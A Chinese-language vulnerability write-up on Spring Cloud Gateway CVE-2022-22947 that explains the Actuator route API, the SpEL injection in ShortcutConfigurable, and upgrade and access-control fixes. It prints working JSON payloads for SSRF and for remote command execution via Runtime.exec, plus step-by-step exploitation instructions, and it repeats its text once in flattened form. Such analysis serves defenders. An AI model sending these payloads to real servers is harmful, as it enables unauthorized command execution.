Java安全-CVE-2022-22947漏洞分析
字数 1673 2025-08-29 08:31:53

Spring Cloud Gateway CVE-2022-22947漏洞分析与利用

1. Spring Cloud Gateway概述

Spring Cloud Gateway是一个基于Spring Framework 5、Project Reactor和Spring Boot 2构建的API网关,旨在为微服务架构提供简单而有效的路由功能,并支持跨领域关注点如安全、监控/指标和弹性。

1.1 基本架构

  • 客户端请求流程
    1. 客户端向Spring Cloud Gateway发送请求
    2. Gateway Handler Mapping确定请求是否匹配某个路由
    3. 匹配的请求被发送到Gateway Web Handler
    4. 处理器通过特定于请求的过滤器链处理请求
    5. 执行所有"pre"过滤器逻辑
    6. 发出代理请求
    7. 执行所有"post"过滤器逻辑

2. 漏洞背景

2.1 自定义路由功能

Spring Cloud Gateway允许通过Actuator API动态添加路由:

  • 如果配置暴露了Endpoint(通过JMX或Web)
  • 可通过/gateway接口与网关交互
  • 通常这些Actuator接口位于内网或受Spring Boot Security保护

2.2 路由配置示例

官方Demo示例(缺少filters部分):

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/red/**"
      }
    }
  ],
  "uri": "http://example.com"
}

3. 漏洞利用路径

3.1 内置过滤器利用

Spring Cloud Gateway提供多种内置过滤器,其中可用于SSRF的包括:

  1. RewritePath过滤器

    • 执行正则表达式重写
    • 示例:将/red/blue重写为/blue
  2. StripPrefix过滤器

  3. SetPath过滤器

3.2 SSRF利用示例

actuator/gateway/routes/red POST以下数据:

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/red/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "/red/?(?<path>.*)",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "http://xxxx:1234",
  "order": 0
}

然后POST /actuator/gateway/refresh刷新路由,即可实现SSRF。

4. CVE-2022-22947 RCE漏洞分析

4.1 漏洞本质

  • SPEL表达式注入:在路由配置解析过程中存在SpEL表达式注入漏洞
  • 触发点org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue

4.2 漏洞利用Payload

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

4.3 漏洞触发条件

  1. 任何Filter或Predicate的配置值如果是合法的SpEL表达式
  2. 在以下情况下会触发:
    • 程序启动时加载配置
    • 通过/actuator/gateway/refresh刷新路由时

4.4 更通用的利用方式

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
      }
    }
  ],
  "uri": "http://127.0.0.1:9999",
  "order": 0
}

5. 漏洞修复建议

  1. 升级到Spring Cloud Gateway 3.1.1+或3.0.7+版本
  2. 限制Actuator端点的访问:
    • 禁用不必要的Actuator端点
    • 配置适当的访问控制
  3. 避免在生产环境开启Gateway的Actuator端点

6. 漏洞验证步骤

  1. 检查目标是否使用受影响版本的Spring Cloud Gateway
  2. 尝试访问/actuator/gateway/routes端点
  3. 发送恶意路由配置
  4. 触发路由刷新
  5. 验证命令执行结果

7. 技术原理深入

7.1 ShortcutConfigurable接口

  • 设计目的:提供快捷配置功能
  • 动态路由定义:允许程序运行时定义路由,重启后失效
  • 配置解析:在解析配置时会评估SpEL表达式

7.2 表达式注入流程

  1. 用户提交包含SpEL表达式的路由配置
  2. 配置被解析并存储在内存中
  3. 在路由加载或刷新时,ShortcutConfigurable.getValue()方法被调用
  4. 方法内部使用StandardEvaluationContext评估表达式
  5. 恶意表达式被执行,导致RCE

8. 参考资源

  • 官方文档:https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/
  • 漏洞分析:https://xz.aliyun.com/t/11033
Spring Cloud Gateway CVE-2022-22947漏洞分析与利用 1. Spring Cloud Gateway概述 Spring Cloud Gateway是一个基于Spring Framework 5、Project Reactor和Spring Boot 2构建的API网关,旨在为微服务架构提供简单而有效的路由功能,并支持跨领域关注点如安全、监控/指标和弹性。 1.1 基本架构 客户端请求流程 : 客户端向Spring Cloud Gateway发送请求 Gateway Handler Mapping确定请求是否匹配某个路由 匹配的请求被发送到Gateway Web Handler 处理器通过特定于请求的过滤器链处理请求 执行所有"pre"过滤器逻辑 发出代理请求 执行所有"post"过滤器逻辑 2. 漏洞背景 2.1 自定义路由功能 Spring Cloud Gateway允许通过Actuator API动态添加路由: 如果配置暴露了Endpoint(通过JMX或Web) 可通过 /gateway 接口与网关交互 通常这些Actuator接口位于内网或受Spring Boot Security保护 2.2 路由配置示例 官方Demo示例(缺少filters部分): 3. 漏洞利用路径 3.1 内置过滤器利用 Spring Cloud Gateway提供多种内置过滤器,其中可用于SSRF的包括: RewritePath过滤器 : 执行正则表达式重写 示例:将 /red/blue 重写为 /blue StripPrefix过滤器 SetPath过滤器 3.2 SSRF利用示例 向 actuator/gateway/routes/red POST以下数据: 然后POST /actuator/gateway/refresh 刷新路由,即可实现SSRF。 4. CVE-2022-22947 RCE漏洞分析 4.1 漏洞本质 SPEL表达式注入 :在路由配置解析过程中存在SpEL表达式注入漏洞 触发点 : org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue 4.2 漏洞利用Payload 4.3 漏洞触发条件 任何Filter或Predicate的配置值如果是合法的SpEL表达式 在以下情况下会触发: 程序启动时加载配置 通过 /actuator/gateway/refresh 刷新路由时 4.4 更通用的利用方式 5. 漏洞修复建议 升级到Spring Cloud Gateway 3.1.1+或3.0.7+版本 限制Actuator端点的访问: 禁用不必要的Actuator端点 配置适当的访问控制 避免在生产环境开启Gateway的Actuator端点 6. 漏洞验证步骤 检查目标是否使用受影响版本的Spring Cloud Gateway 尝试访问 /actuator/gateway/routes 端点 发送恶意路由配置 触发路由刷新 验证命令执行结果 7. 技术原理深入 7.1 ShortcutConfigurable接口 设计目的:提供快捷配置功能 动态路由定义:允许程序运行时定义路由,重启后失效 配置解析:在解析配置时会评估SpEL表达式 7.2 表达式注入流程 用户提交包含SpEL表达式的路由配置 配置被解析并存储在内存中 在路由加载或刷新时, ShortcutConfigurable.getValue() 方法被调用 方法内部使用 StandardEvaluationContext 评估表达式 恶意表达式被执行,导致RCE 8. 参考资源 官方文档:https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/ 漏洞分析:https://xz.aliyun.com/t/11033